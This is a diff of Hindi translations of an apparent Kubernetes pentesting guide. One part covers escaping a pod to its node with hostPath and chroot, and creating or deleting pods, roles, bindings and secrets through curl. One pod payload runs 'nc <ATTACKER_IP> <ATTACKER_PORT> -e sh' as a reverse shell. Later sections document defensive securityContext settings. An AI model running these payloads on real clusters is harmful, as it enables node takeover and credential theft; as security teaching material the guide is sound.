यदि आप नए पॉड बनाने में सक्षम हैं, तो आप उनसे नोड में भागने में सक्षम हो सकते हैं। ऐसा करने के लिए, आपको एक yaml फ़ाइल का उपयोग करके एक नया पॉड बनाना होगा, बनाए गए पॉड पर स्विच करना होगा और फिर नोड के सिस्टम में chroot करना होगा। आप yaml फ़ाइल के लिए संदर्भ के रूप में पहले से मौजूद पॉड का उपयोग कर सकते हैं क्योंकि वे मौजूदा छवियों और पथों को प्रदर्शित करते हैं।
|
||||
यदि आप नए pods बना सकते हैं, तो आप उनसे node तक escape कर सकते हैं। ऐसा करने के लिए आपको एक yaml file का उपयोग करके एक नया pod बनाना होगा, बने हुए pod पर switch करना होगा, और फिर node के system में chroot करना होगा। आप yaml file के लिए reference के रूप में पहले से मौजूद pods का उपयोग कर सकते हैं, क्योंकि वे existing images और paths दिखाते हैं।
|
||||
```bash
|
||||
kubectl get pod <name> [-n <namespace>] -o yaml
|
||||
```
|
||||
> यदि आपको किसी विशेष नोड पर पॉड बनाना है, तो आप नोड पर लेबल प्राप्त करने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं
|
||||
> यदि आपको किसी specific node पर pod create करना है, तो node पर labels पाने के लिए आप निम्न command use कर सकते हैं
|
||||
>
|
||||
> `k get nodes --show-labels`
|
||||
>
|
||||
> सामान्यतः, kubernetes.io/hostname और node-role.kubernetes.io/master सभी अच्छे लेबल हैं चयन के लिए।
|
||||
> आमतौर पर, kubernetes.io/hostname और node-role.kubernetes.io/master select करने के लिए अच्छे labels होते हैं।
|
||||
|
||||
फिर आप अपना attack.yaml फ़ाइल बनाते हैं।
|
||||
फिर आप अपनी attack.yaml file create करें
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -505,23 +559,25 @@ restartPolicy: Never
|
||||
# or using
|
||||
# node-role.kubernetes.io/master: ""
|
||||
```
|
||||
उसके बाद आप पॉड बनाते हैं
|
||||
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
|
||||
|
||||
उसके बाद आप pod बनाते हैं
|
||||
```bash
|
||||
kubectl apply -f attacker.yaml [-n <namespace>]
|
||||
```
|
||||
अब आप निम्नलिखित के अनुसार बनाए गए पॉड पर स्विच कर सकते हैं
|
||||
अब आप निम्न प्रकार से बनाए गए pod पर switch कर सकते हैं
|
||||
```bash
|
||||
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
|
||||
```
|
||||
और अंत में आप नोड के सिस्टम में chroot करते हैं
|
||||
और अंत में आप node की system में chroot करते हैं
|
||||
```bash
|
||||
chroot /root /bin/bash
|
||||
```
|
||||
सूचना प्राप्त की गई: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
|
||||
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
|
||||
|
||||
### एक विशेषाधिकार प्राप्त पॉड बनाना
|
||||
### एक privileged pod बनाना
|
||||
|
||||
संबंधित yaml फ़ाइल इस प्रकार है:
|
||||
संबंधित yaml file इस प्रकार है:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -549,7 +605,7 @@ volumes:
|
||||
hostPath:
|
||||
path: /
|
||||
```
|
||||
पॉड को curl के साथ बनाएं:
|
||||
curl के साथ pod बनाएं:
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -565,9 +621,9 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### एक पॉड हटाएँ
|
||||
### एक pod delete करें
|
||||
|
||||
curl के साथ एक पॉड हटाएँ:
|
||||
curl के साथ एक pod delete करें:
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -584,7 +640,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
|
||||
```
|
||||
### एक सेवा खाता बनाएं
|
||||
### एक Service Account बनाएँ
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -602,7 +658,7 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### एक सेवा खाता हटाएँ
|
||||
### एक Service Account हटाएं
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -619,7 +675,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
|
||||
```
|
||||
### एक भूमिका बनाएं
|
||||
### एक Role बनाएं
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -637,7 +693,7 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### एक भूमिका हटाएँ
|
||||
### एक Role को Delete करें
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -655,7 +711,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
|
||||
```
|
||||
### एक भूमिका बाइंडिंग बनाएं
|
||||
### एक Role Binding बनाएं
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -672,7 +728,7 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### एक भूमिका बाइंडिंग हटाएँ
|
||||
### एक Role Binding को Delete करें
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -690,7 +746,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
|
||||
```
|
||||
### एक सीक्रेट हटाएँ
|
||||
### एक Secret को Delete करें
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
@@ -707,7 +763,7 @@ curl --path-as-is -i -s -k -X $'POST' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### एक सीक्रेट हटाएं
|
||||
### एक Secret हटाएँ
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
|
||||
+55
-34
@@ -6,58 +6,79 @@
|
||||
|
||||
[**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
|
||||
|
||||
जब आप एक Pod के सुरक्षा संदर्भ को निर्दिष्ट करते हैं, तो आप कई विशेषताओं का उपयोग कर सकते हैं। एक रक्षात्मक सुरक्षा दृष्टिकोण से, आपको विचार करना चाहिए:
|
||||
Pod के security context को specify करते समय आप कई attributes का use कर सकते हैं। defensive security point of view से आपको consider करना चाहिए:
|
||||
|
||||
- **runASNonRoot** को **True** रखना
|
||||
- **runAsUser** को कॉन्फ़िगर करना
|
||||
- यदि संभव हो, तो **seLinuxOptions** और **seccompProfile** को इंगित करते हुए **permissions** को **सीमित** करने पर विचार करें
|
||||
- **runAsGroup** और **supplementaryGroups** के माध्यम से **privilege** **group** पहुंच न दें
|
||||
- **runAsUser** को configure करना
|
||||
- यदि संभव हो, तो **seLinuxOptions** और **seccompProfile** बताकर **permissions** को **limit** करना
|
||||
- **runAsGroup** और **supplementaryGroups** के जरिए **privilege** **group** access **NOT** देना
|
||||
|
||||
| Parameter | Description |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>एक विशेष सहायक समूह जो <strong>pod में सभी कंटेनरों</strong> पर लागू होता है। कुछ वॉल्यूम प्रकार Kubelet को <strong>उस वॉल्यूम के स्वामित्व को बदलने</strong> की अनुमति देते हैं:<br>1. स्वामित्व GID FSGroup होगा<br>2. सेटगिड बिट सेट है (वॉल्यूम में बनाए गए नए फ़ाइलें FSGroup द्वारा स्वामित्व होंगी)<br>3. अनुमति बिट rw-rw---- के साथ OR'd हैं यदि सेट नहीं है, तो Kubelet किसी भी वॉल्यूम के स्वामित्व और अनुमतियों को संशोधित नहीं करेगा</p> |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>एक special supplemental group जो एक pod के <strong>सभी containers</strong> पर apply होती है। कुछ volume types Kubelet को उस volume का <strong>ownership बदलने</strong> देते हैं ताकि वह pod के owned हो:<br>1. owning GID, FSGroup होगा<br>2. setgid bit set होगा (volume में बनी नई files, FSGroup की owned होंगी)<br>3. permission bits rw-rw---- के साथ OR'd होंगे। अगर unset हो, तो Kubelet किसी भी volume के ownership और permissions को modify नहीं करेगा</p> |
|
||||
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | यह **वॉल्यूम के स्वामित्व और अनुमति को बदलने** के व्यवहार को परिभाषित करता है, जो Pod के अंदर उजागर होने से पहले। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | **कंटेनर प्रक्रिया के एंट्रीपॉइंट को चलाने के लिए GID**। यदि सेट नहीं है तो रनटाइम डिफ़ॉल्ट का उपयोग करता है। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | यह इंगित करता है कि कंटेनर को गैर-रूट उपयोगकर्ता के रूप में चलाना चाहिए। यदि सही है, तो Kubelet रनटाइम पर छवि को मान्य करेगा ताकि यह सुनिश्चित हो सके कि यह UID 0 (रूट) के रूप में नहीं चलती है और यदि ऐसा करती है तो कंटेनर शुरू करने में विफल हो जाएगी। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | **कंटेनर प्रक्रिया के एंट्रीपॉइंट को चलाने के लिए UID**। यदि निर्दिष्ट नहीं किया गया है तो छवि मेटाडेटा में निर्दिष्ट उपयोगकर्ता पर डिफ़ॉल्ट होता है। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | **सभी कंटेनरों पर लागू होने वाला SELinux संदर्भ**। यदि निर्दिष्ट नहीं किया गया है, तो कंटेनर रनटाइम प्रत्येक कंटेनर के लिए एक यादृच्छिक SELinux संदर्भ आवंटित करेगा। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>More info about</em> <em><strong>Seccomp</strong></em></p> | इस pod में कंटेनरों द्वारा उपयोग किए जाने वाले **seccomp विकल्प**। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p> | **प्राथमिक GID के अलावा, प्रत्येक कंटेनर में चलने वाली पहली प्रक्रिया पर लागू होने वाले समूहों की एक सूची**। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>More info about</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls **pod के लिए उपयोग किए जाने वाले namespaced sysctls की एक सूची** रखते हैं। जिन pods में असमर्थित sysctls होते हैं (कंटेनर रनटाइम द्वारा) वे लॉन्च करने में विफल हो सकते हैं। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | सभी कंटेनरों पर लागू होने वाली Windows विशिष्ट सेटिंग्स। यदि निर्दिष्ट नहीं किया गया है, तो कंटेनर के SecurityContext के भीतर विकल्पों का उपयोग किया जाएगा। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | यह Pod के अंदर expose किए जाने से पहले **volume के ownership और permission बदलने** के behavior को define करता है। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | container process के entrypoint को चलाने के लिए **GID**। unset होने पर runtime default use होता है। यह SecurityContext में भी set किया जा सकता है। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | बताता है कि container को non-root user के रूप में चलना चाहिए। अगर true हो, तो Kubelet runtime पर image validate करेगा ताकि सुनिश्चित हो कि वह UID 0 (root) के रूप में नहीं चलती, और अगर ऐसा है तो container start होने में fail करेगा। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | container process के entrypoint को चलाने के लिए **UID**। अगर specify न किया हो, तो image metadata में दिए गए user को default माना जाता है। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | सभी containers पर apply होने वाला **SELinux context**। अगर specify न हो, तो container runtime हर container के लिए एक random SELinux context allocate करेगा। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>More info about</em> <em><strong>Seccomp</strong></em></p> | इस pod में containers द्वारा use किए जाने वाले **seccomp options**। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p> | container की primary GID के अलावा, प्रत्येक container में चलने वाले पहले process पर apply होने वाले **groups** की सूची। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>More info about</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls में pod के लिए use होने वाले **namespaced sysctls** की सूची होती है। unsupported sysctls वाले Pods (container runtime द्वारा) launch होने में fail हो सकते हैं। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | सभी containers पर apply होने वाली Windows-specific settings। अगर specify न हो, तो container के SecurityContext के अंदर की options use होंगी। |
|
||||
|
||||
## SecurityContext
|
||||
|
||||
[**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
|
||||
|
||||
यह संदर्भ **कंटेनरों की परिभाषाओं** के अंदर सेट किया गया है। एक रक्षात्मक सुरक्षा दृष्टिकोण से, आपको विचार करना चाहिए:
|
||||
यह context **containers definitions** के अंदर set किया जाता है। defensive security point of view से आपको consider करना चाहिए:
|
||||
|
||||
- **allowPrivilegeEscalation** को **False** पर सेट करें
|
||||
- संवेदनशील **capabilities** न जोड़ें (और जिनकी आपको आवश्यकता नहीं है उन्हें हटा दें)
|
||||
- **privileged** को **False** पर सेट करें
|
||||
- यदि संभव हो, तो **readOnlyFilesystem** को **True** पर सेट करें
|
||||
- **runAsNonRoot** को **True** पर सेट करें और एक **runAsUser** सेट करें
|
||||
- यदि संभव हो, तो **seLinuxOptions** और **seccompProfile** को इंगित करते हुए **permissions** को **सीमित** करने पर विचार करें
|
||||
- **runAsGroup** के माध्यम से **privilege** **group** पहुंच न दें।
|
||||
- **allowPrivilegeEscalation** को **False** रखना
|
||||
- sensitive **capabilities** न जोड़ें (और जो ज़रूरी नहीं हैं उन्हें remove करें)
|
||||
- **privileged** को **False** रखना
|
||||
- यदि संभव हो, तो **readOnlyFilesystem** को **True** set करना
|
||||
- **runAsNonRoot** को **True** set करें और एक **runAsUser** set करें
|
||||
- यदि संभव हो, तो **seLinuxOptions** और **seccompProfile** बताकर **permissions** को **limit** करना
|
||||
- **runAsGroup** के जरिए **privilege** **group** access **NOT** देना
|
||||
|
||||
ध्यान दें कि **SecurityContext और PodSecurityContext** में सेट किए गए गुणों में, **SecurityContext** में निर्दिष्ट मान **प्राथमिकता** लेता है।
|
||||
ध्यान दें कि **SecurityContext और PodSecurityContext** दोनों में set किए गए attributes के लिए, **SecurityContext** में specified value को **precedence** मिलती है।
|
||||
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation** नियंत्रित करता है कि क्या एक प्रक्रिया **अपने माता-पिता की प्रक्रिया से अधिक विशेषाधिकार प्राप्त कर सकती है**। यह bool सीधे नियंत्रित करता है कि क्या no_new_privs ध्वज कंटेनर प्रक्रिया पर सेट किया जाएगा। AllowPrivilegeEscalation हमेशा सही होता है जब कंटेनर **Privileged** के रूप में चलाया जाता है या **CAP_SYS_ADMIN** होता है |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation** यह नियंत्रित करता है कि कोई process अपने parent process से **अधिक privileges** प्राप्त कर सकता है या नहीं। यह bool सीधे नियंत्रित करता है कि container process पर no_new_privs flag set होगा या नहीं। जब container **Privileged** mode में चल रहा हो या उसके पास **CAP_SYS_ADMIN** हो, तब AllowPrivilegeEscalation हमेशा true होता है |
|
||||
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>More info about</em> <em><strong>Capabilities</strong></em></p> | **कंटेनरों को चलाते समय जोड़ने/हटाने के लिए क्षमताएँ**। डिफ़ॉल्ट रूप से क्षमताओं के डिफ़ॉल्ट सेट पर। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | कंटेनर को विशेषाधिकार मोड में चलाएं। विशेषाधिकार प्राप्त कंटेनरों में प्रक्रियाएँ मूल रूप से **होस्ट पर रूट के बराबर** होती हैं। डिफ़ॉल्ट रूप से गलत। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount **कंटेनरों के लिए उपयोग करने के लिए proc माउंट के प्रकार** को दर्शाता है। डिफ़ॉल्ट DefaultProcMount है जो केवल-पढ़ने वाले पथों और मास्क किए गए पथों के लिए कंटेनर रनटाइम डिफ़ॉल्ट का उपयोग करता है। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | क्या इस **कंटेनर का एक केवल-पढ़ने वाला रूट फ़ाइल सिस्टम है**। डिफ़ॉल्ट रूप से गलत। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | **कंटेनर प्रक्रिया के एंट्रीपॉइंट को चलाने के लिए GID**। यदि सेट नहीं है तो रनटाइम डिफ़ॉल्ट का उपयोग करता है। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | यह इंगित करता है कि कंटेनर को **गैर-रूट उपयोगकर्ता के रूप में चलाना चाहिए**। यदि सही है, तो Kubelet रनटाइम पर छवि को मान्य करेगा ताकि यह सुनिश्चित हो सके कि यह UID 0 (रूट) के रूप में नहीं चलती है और यदि ऐसा करती है तो कंटेनर शुरू करने में विफल हो जाएगी। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | **कंटेनर प्रक्रिया के एंट्रीपॉइंट को चलाने के लिए UID**। यदि निर्दिष्ट नहीं किया गया है तो छवि मेटाडेटा में निर्दिष्ट उपयोगकर्ता पर डिफ़ॉल्ट होता है। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | **कंटेनर पर लागू होने वाला SELinux संदर्भ**। यदि निर्दिष्ट नहीं किया गया है, तो कंटेनर रनटाइम प्रत्येक कंटेनर के लिए एक यादृच्छिक SELinux संदर्भ आवंटित करेगा। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | इस कंटेनर द्वारा उपयोग किए जाने वाले **seccomp विकल्प**। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | सभी कंटेनरों पर लागू होने वाली **Windows विशिष्ट सेटिंग्स**। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>More info about</em> <em><strong>Capabilities</strong></em></p> | containers चलाते समय add/drop करने के लिए **capabilities**। Default capabilities set ही default होता है। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | container को privileged mode में चलाएं। privileged containers में processes मूल रूप से **host पर root के बराबर** होती हैं। Default false है। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount यह दर्शाता है कि containers के लिए **किस प्रकार का proc mount** use करना है। default DefaultProcMount है, जो readonly paths और masked paths के लिए container runtime defaults use करता है। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | क्या इस **container का root filesystem read-only** है। Default false है। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | container process का entrypoint चलाने के लिए **GID**। unset होने पर runtime default use होता है। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | बताता है कि container को **non-root user** के रूप में चलना चाहिए। अगर true हो, तो Kubelet runtime पर image validate करेगा ताकि सुनिश्चित हो कि वह UID 0 (root) के रूप में नहीं चलती, और अगर ऐसा है तो container start होने में fail करेगा। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | container process का entrypoint चलाने के लिए **UID**। अगर specify न किया हो, तो image metadata में दिए गए user को default माना जाता है। |
|
||||
